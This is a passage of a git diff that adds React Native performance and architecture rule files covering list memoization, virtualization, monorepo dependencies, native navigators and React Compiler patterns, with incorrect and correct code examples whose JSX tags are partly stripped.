performance, flatlist, virtualization, memo +--- + +## Avoid Inline Objects in renderItem + +Don't create new objects inside `renderItem` to pass as props. Inline objects +create new references on every render, breaking memoization. Pass primitive +values directly from `item` instead. + +**Incorrect (inline object breaks memoization):** + +```tsx +function UserList({ users }: { users: User[] }) { + return ( + ( + + )} + /> + ) +} +``` + +**Incorrect (inline style object):** + +```tsx +renderItem={({ item }) => ( + +)} +``` + +**Correct (pass item directly or primitives):** + +```tsx +function UserList({ users }: { users: User[] }) { + return ( + ( + // Good: pass the item directly + + )} + /> + ) +} +``` + +**Correct (pass primitives, derive inside child):** + +```tsx +renderItem={({ item }) => ( + +)} + +const UserRow = memo(function UserRow({ id, name, isActive }: Props) { + // Good: derive style inside memoized component + const backgroundColor = isActive ? 'green' : 'gray' + return {/* ... */} +}) +``` + +**Correct (hoist static styles in module scope):** + +```tsx +const activeStyle = { backgroundColor: 'green' } +const inactiveStyle = { backgroundColor: 'gray' } + +renderItem={({ item }) => ( + +)} +``` + +Passing primitives or stable references allows `memo()` to skip re-renders when +the actual values haven't changed. + +**Note:** If you have the React Compiler enabled, it handles memoization +automatically and these manual optimizations become less critical. diff --git a/skills/react-native-skills/rules/list-performance-item-expensive.md b/skills/react-native-skills/rules/list-performance-item-expensive.md new file mode 100644 index 0000000000000000000000000000000000000000..f617a76d4e525cde99b937a8e0e163dfe0ef52b0 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-item-expensive.md @@ -0,0 +1,94 @@ +--- +title: Keep List Items Lightweight +impact: HIGH +impactDescription: reduces render time for visible items during scroll +tags: lists, performance, virtualization, hooks +--- + +## Keep List Items Lightweight + +List items should be as inexpensive as possible to render. Minimize hooks, avoid +queries, and limit React Context access. Virtualized lists render many items +during scroll—expensive items cause jank. + +**Incorrect (heavy list item):** + +```tsx +function ProductRow({ id }: { id: string }) { + // Bad: query inside list item + const { data: product } = useQuery(['product', id], () => fetchProduct(id)) + // Bad: multiple context accesses + const theme = useContext(ThemeContext) + const user = useContext(UserContext) + const cart = useContext(CartContext) + // Bad: expensive computation + const recommendations = useMemo( + () => computeRecommendations(product), + [product] + ) + + return {/* ... */} +} +``` + +**Correct (lightweight list item):** + +```tsx +function ProductRow({ name, price, imageUrl }: Props) { + // Good: receives only primitives, minimal hooks + return ( + + + {name} + {price} + + ) +} +``` + +**Move data fetching to parent:** + +```tsx +// Parent fetches all data once +function ProductList() { + const { data: products } = useQuery(['products'], fetchProducts) + + return ( + ( + + )} + /> + ) +} +``` + +**For shared values, use Zustand selectors instead of Context:** + +```tsx +// Incorrect: Context causes re-render when any cart value changes +function ProductRow({ id, name }: Props) { + const { items } = useContext(CartContext) + const inCart = items.includes(id) + // ... +} + +// Correct: Zustand selector only re-renders when this specific value changes +function ProductRow({ id, name }: Props) { + // use Set.has (created once at the root) instead of Array.includes() + const inCart = useCartStore((s) => s.items.has(id)) + // ... +} +``` + +**Guidelines for list items:** + +- No queries or data fetching +- No expensive computations (move to parent or memoize at parent level) +- Prefer Zustand selectors over React Context +- Minimize useState/useEffect hooks +- Pass pre-computed values as props + +The goal: list items should be simple rendering functions that take props and +return JSX. diff --git a/skills/react-native-skills/rules/list-performance-item-memo.md b/skills/react-native-skills/rules/list-performance-item-memo.md new file mode 100644 index 0000000000000000000000000000000000000000..634935e8ed0e6bd10014450c91b8a97187cbeda1 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-item-memo.md @@ -0,0 +1,82 @@ +--- +title: Pass Primitives to List Items for Memoization +impact: HIGH +impactDescription: enables effective memo() comparison +tags: lists, performance, memo, primitives +--- + +## Pass Primitives to List Items for Memoization + +When possible, pass only primitive values (strings, numbers, booleans) as props +to list item components. Primitives enable shallow comparison in `memo()` to +work correctly, skipping re-renders when values haven't changed. + +**Incorrect (object prop requires deep comparison):** + +```tsx +type User = { id: string; name: string; email: string; avatar: string } + +const UserRow = memo(function UserRow({ user }: { user: User }) { + // memo() compares user by reference, not value + // If parent creates new user object, this re-renders even if data is same + return {user.name} +}) + +renderItem={({ item }) => } +``` + +This can still be optimized, but it is harder to memoize properly. + +**Correct (primitive props enable shallow comparison):** + +```tsx +const UserRow = memo(function UserRow({ + id, + name, + email, +}: { + id: string + name: string + email: string +}) { + // memo() compares each primitive directly + // Re-renders only if id, name, or email actually changed + return {name} +}) + +renderItem={({ item }) => ( + +)} +``` + +**Pass only what you need:** + +```tsx +// Incorrect: passing entire item when you only need name + + +// Correct: pass only the fields the component uses + +``` + +**For callbacks, hoist or use item ID:** + +```tsx +// Incorrect: inline function creates new reference + handlePress(item.id)} /> + +// Correct: pass ID, handle in child + + +const UserRow = memo(function UserRow({ id, name }: Props) { + const handlePress = useCallback(() => { + // use id here + }, [id]) + return {name} +}) +``` + +Primitive props make memoization predictable and effective. + +**Note:** If you have the React Compiler enabled, you do not need to use +`memo()` or `useCallback()`, but the object references still apply. diff --git a/skills/react-native-skills/rules/list-performance-item-types.md b/skills/react-native-skills/rules/list-performance-item-types.md new file mode 100644 index 0000000000000000000000000000000000000000..1027e4e6cd982476271d12507c329653ec793484 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-item-types.md @@ -0,0 +1,104 @@ +--- +title: Use Item Types for Heterogeneous Lists +impact: HIGH +impactDescription: efficient recycling, less layout thrashing +tags: list, performance, recycling, heterogeneous, LegendList +--- + +## Use Item Types for Heterogeneous Lists + +When a list has different item layouts (messages, images, headers, etc.), use a +`type` field on each item and provide `getItemType` to the list. This puts items +into separate recycling pools so a message component never gets recycled into an +image component. + +**Incorrect (single component with conditionals):** + +```tsx +type Item = { id: string; text?: string; imageUrl?: string; isHeader?: boolean } + +function ListItem({ item }: { item: Item }) { + if (item.isHeader) { + return + } + if (item.imageUrl) { + return + } + return +} + +function Feed({ items }: { items: Item[] }) { + return ( + } + recycleItems + /> + ) +} +``` + +**Correct (typed items with separate components):** + +```tsx +type HeaderItem = { id: string; type: 'header'; title: string } +type MessageItem = { id: string; type: 'message'; text: string } +type ImageItem = { id: string; type: 'image'; url: string } +type FeedItem = HeaderItem | MessageItem | ImageItem + +function Feed({ items }: { items: FeedItem[] }) { + return ( + item.id} + getItemType={(item) => item.type} + renderItem={({ item }) => { + switch (item.type) { + case 'header': + return + case 'message': + return + case 'image': + return + } + }} + recycleItems + /> + ) +} +``` + +**Why this matters:** + +- **Recycling efficiency**: Items with the same type share a recycling pool +- **No layout thrashing**: A header never recycles into an image cell +- **Type safety**: TypeScript can narrow the item type in each branch +- **Better size estimation**: Use `getEstimatedItemSize` with `itemType` for + accurate estimates per type + +```tsx + item.id} + getItemType={(item) => item.type} + getEstimatedItemSize={(index, item, itemType) => { + switch (itemType) { + case 'header': + return 48 + case 'message': + return 72 + case 'image': + return 300 + default: + return 72 + } + }} + renderItem={({ item }) => { + /* ... */ + }} + recycleItems +/> +``` + +Reference: +[LegendList getItemType](https://legendapp.com/open-source/list/api/props/#getitemtype-v2) diff --git a/skills/react-native-skills/rules/list-performance-virtualize.md b/skills/react-native-skills/rules/list-performance-virtualize.md new file mode 100644 index 0000000000000000000000000000000000000000..8a393ba1eef972f72a00a67c6b0a23c09c688639 --- /dev/null +++ b/skills/react-native-skills/rules/list-performance-virtualize.md @@ -0,0 +1,67 @@ +--- +title: Use a List Virtualizer for Any List +impact: HIGH +impactDescription: reduced memory, faster mounts +tags: lists, performance, virtualization, scrollview +--- + +## Use a List Virtualizer for Any List + +Use a list virtualizer like LegendList or FlashList instead of ScrollView with +mapped children—even for short lists. Virtualizers only render visible items, +reducing memory usage and mount time. ScrollView renders all children upfront, +which gets expensive quickly. + +**Incorrect (ScrollView renders all items at once):** + +```tsx +function Feed({ items }: { items: Item[] }) { + return ( + + {items.map((item) => ( + + ))} + + ) +} +// 50 items = 50 components mounted, even if only 10 visible +``` + +**Correct (virtualizer renders only visible items):** + +```tsx +import { LegendList } from '@legendapp/list' + +function Feed({ items }: { items: Item[] }) { + return ( + } + keyExtractor={(item) => item.id} + estimatedItemSize={80} + /> + ) +} +// Only ~10-15 visible items mounted at a time +``` + +**Alternative (FlashList):** + +```tsx +import { FlashList } from '@shopify/flash-list' + +function Feed({ items }: { items: Item[] }) { + return ( + } + keyExtractor={(item) => item.id} + /> + ) +} +``` + +Benefits apply to any screen with scrollable content—profiles, settings, feeds, +search results. Default to virtualization. diff --git a/skills/react-native-skills/rules/monorepo-native-deps-in-app.md b/skills/react-native-skills/rules/monorepo-native-deps-in-app.md new file mode 100644 index 0000000000000000000000000000000000000000..ff85d76735d89e4cdfa89afd75759020780c5d5f --- /dev/null +++ b/skills/react-native-skills/rules/monorepo-native-deps-in-app.md @@ -0,0 +1,46 @@ +--- +title: Install Native Dependencies in App Directory +impact: CRITICAL +impactDescription: required for autolinking to work +tags: monorepo, native, autolinking, installation +--- + +## Install Native Dependencies in App Directory + +In a monorepo, packages with native code must be installed in the native app's +directory directly. Autolinking only scans the app's `node_modules`—it won't +find native dependencies installed in other packages. + +**Incorrect (native dep in shared package only):** + +``` +packages/ + ui/ + package.json # has react-native-reanimated + app/ + package.json # missing react-native-reanimated +``` + +Autolinking fails—native code not linked. + +**Correct (native dep in app directory):** + +``` +packages/ + ui/ + package.json # has react-native-reanimated + app/ + package.json # also has react-native-reanimated +``` + +```json +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} +``` + +Even if the shared package uses the native dependency, the app must also list it +for autolinking to detect and link the native code. diff --git a/skills/react-native-skills/rules/monorepo-single-dependency-versions.md b/skills/react-native-skills/rules/monorepo-single-dependency-versions.md new file mode 100644 index 0000000000000000000000000000000000000000..1087dfa511e9837f14b71f49d1c3d2018d6cfdc1 --- /dev/null +++ b/skills/react-native-skills/rules/monorepo-single-dependency-versions.md @@ -0,0 +1,63 @@ +--- +title: Use Single Dependency Versions Across Monorepo +impact: MEDIUM +impactDescription: avoids duplicate bundles, version conflicts +tags: monorepo, dependencies, installation +--- + +## Use Single Dependency Versions Across Monorepo + +Use a single version of each dependency across all packages in your monorepo. +Prefer exact versions over ranges. Multiple versions cause duplicate code in +bundles, runtime conflicts, and inconsistent behavior across packages. + +Use a tool like syncpack to enforce this. As a last resort, use yarn resolutions +or npm overrides. + +**Incorrect (version ranges, multiple versions):** + +```json +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "^3.0.0" + } +} + +// packages/ui/package.json +{ + "dependencies": { + "react-native-reanimated": "^3.5.0" + } +} +``` + +**Correct (exact versions, single source of truth):** + +```json +// package.json (root) +{ + "pnpm": { + "overrides": { + "react-native-reanimated": "3.16.1" + } + } +} + +// packages/app/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} + +// packages/ui/package.json +{ + "dependencies": { + "react-native-reanimated": "3.16.1" + } +} +``` + +Use your package manager's override/resolution feature to enforce versions at +the root. When adding dependencies, specify exact versions without `^` or `~`. diff --git a/skills/react-native-skills/rules/navigation-native-navigators.md b/skills/react-native-skills/rules/navigation-native-navigators.md new file mode 100644 index 0000000000000000000000000000000000000000..035c5fd37ce16afc0613405bd1f0b8ad0cc8b1ce --- /dev/null +++ b/skills/react-native-skills/rules/navigation-native-navigators.md @@ -0,0 +1,188 @@ +--- +title: Use Native Navigators for Navigation +impact: HIGH +impactDescription: native performance, platform-appropriate UI +tags: navigation, react-navigation, expo-router, native-stack, tabs +--- + +## Use Native Navigators for Navigation + +Always use native navigators instead of JS-based ones. Native navigators use +platform APIs (UINavigationController on iOS, Fragment on Android) for better +performance and native behavior. + +**For stacks:** Use `@react-navigation/native-stack` or expo-router's default +stack (which uses native-stack). Avoid `@react-navigation/stack`. + +**For tabs:** Use `react-native-bottom-tabs` (native) or expo-router's native +tabs. Avoid `@react-navigation/bottom-tabs` when native feel matters. + +### Stack Navigation + +**Incorrect (JS stack navigator):** + +```tsx +import { createStackNavigator } from '@react-navigation/stack' + +const Stack = createStackNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct (native stack with react-navigation):** + +```tsx +import { createNativeStackNavigator } from '@react-navigation/native-stack' + +const Stack = createNativeStackNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct (expo-router uses native stack by default):** + +```tsx +// app/_layout.tsx +import { Stack } from 'expo-router' + +export default function Layout() { + return +} +``` + +### Tab Navigation + +**Incorrect (JS bottom tabs):** + +```tsx +import { createBottomTabNavigator } from '@react-navigation/bottom-tabs' + +const Tab = createBottomTabNavigator() + +function App() { + return ( + + + + + ) +} +``` + +**Correct (native bottom tabs with react-navigation):** + +```tsx +import { createNativeBottomTabNavigator } from '@bottom-tabs/react-navigation' + +const Tab = createNativeBottomTabNavigator() + +function App() { + return ( + + ({ sfSymbol: 'house' }), + }} + /> + ({ sfSymbol: 'gear' }), + }} + /> + + ) +} +``` + +**Correct (expo-router native tabs):** + +```tsx +// app/(tabs)/_layout.tsx +import { NativeTabs } from 'expo-router/unstable-native-tabs' + +export default function TabLayout() { + return ( + + + Home + + + + Settings + + + + ) +} +``` + +On iOS, native tabs automatically enable `contentInsetAdjustmentBehavior` on the +first `ScrollView` at the root of each tab screen, so content scrolls correctly +behind the translucent tab bar. If you need to disable this, use +`disableAutomaticContentInsets` on the trigger. + +### Prefer Native Header Options Over Custom Components + +**Incorrect (custom header component):** + +```tsx + , + }} +/> +``` + +**Correct (native header options):** + +```tsx + +``` + +Native headers support iOS large titles, search bars, blur effects, and proper +safe area handling automatically. + +### Why Native Navigators + +- **Performance**: Native transitions and gestures run on the UI thread +- **Platform behavior**: Automatic iOS large titles, Android material design +- **System integration**: Scroll-to-top on tab tap, PiP avoidance, proper safe + areas +- **Accessibility**: Platform accessibility features work automatically + +Reference: + +- [React Navigation Native Stack](https://reactnavigation.org/docs/native-stack-navigator) +- [React Native Bottom Tabs with React Navigation](https://oss.callstack.com/react-native-bottom-tabs/docs/guides/usage-with-react-navigation) +- [React Native Bottom Tabs with Expo Router](https://oss.callstack.com/react-native-bottom-tabs/docs/guides/usage-with-expo-router) +- [Expo Router Native Tabs](https://docs.expo.dev/router/advanced/native-tabs) diff --git a/skills/react-native-skills/rules/react-compiler-destructure-functions.md b/skills/react-native-skills/rules/react-compiler-destructure-functions.md new file mode 100644 index 0000000000000000000000000000000000000000..f76c25ac6f8c48c8436f0ccee1359a649a33b48f --- /dev/null +++ b/skills/react-native-skills/rules/react-compiler-destructure-functions.md @@ -0,0 +1,50 @@ +--- +title: Destructure Functions Early in Render (React Compiler) +impact: HIGH +impactDescription: stable references, fewer re-renders +tags: rerender, hooks, performance, react-compiler +--- + +## Destructure Functions Early in Render + +This rule is only applicable if you are using the React Compiler. + +Destructure functions from hooks at the top of render scope. Never dot into +objects to call functions. Destructured functions are stable references; dotting +creates new references and breaks memoization. + +**Incorrect (dotting into object):** + +```tsx +import { useRouter } from 'expo-router' + +function SaveButton(props) { + const router = useRouter() + + // bad: react-compiler will key the cache on "props" and "router", which are objects that change each render + const handlePress = () => { + props.onSave() + router.push('/success') // unstable reference + } + + return +} +``` + +**Correct (destructure early):** + +```tsx +import { useRouter } from 'expo-router' + +function SaveButton({ onSave }) { + const { push } = useRouter() + + // good: react-compiler will key on push and onSave + const handlePress = () => { + onSave() + push('/success') // stable reference + } + + return +} +``` diff --git a/skills/react-native-skills/rules/react-compiler-reanimated-shared-values.md b/skills/react-native-skills/rules/react-compiler-reanimated-shared-values.md new file mode 100644 index 0000000000000000000000000000000000000000..0dcbaf47a6abeb72da8673f99b45d2e8b609412b --- /dev/null +++ b/skills/react-native-skills/rules/react-compiler-reanimated-shared-values.md @@ -0,0 +1,48 @@ +--- +title: Use .get() and .set() for Reanimated Shared Values (not .value) +impact: LOW +impactDescription: required for React Compiler compatibility +tags: reanimated, react-compiler, shared-values +--- + +## Use .get() and .set() for Shared Values with React Compiler + +With React Compiler enabled, use `.get()` and `.set()` instead of reading or +writing `.value` directly on Reanimated shared values. The compiler can't track +property access—explicit methods ensure correct behavior. + +**Incorrect (breaks with React Compiler):** + +```tsx +import { useSharedValue } from 'react-native-reanimated' + +function Counter() { + const count = useSharedValue(0) + + const increment = () => { + count.value = count.value + 1 // opts out of react compiler + } + + return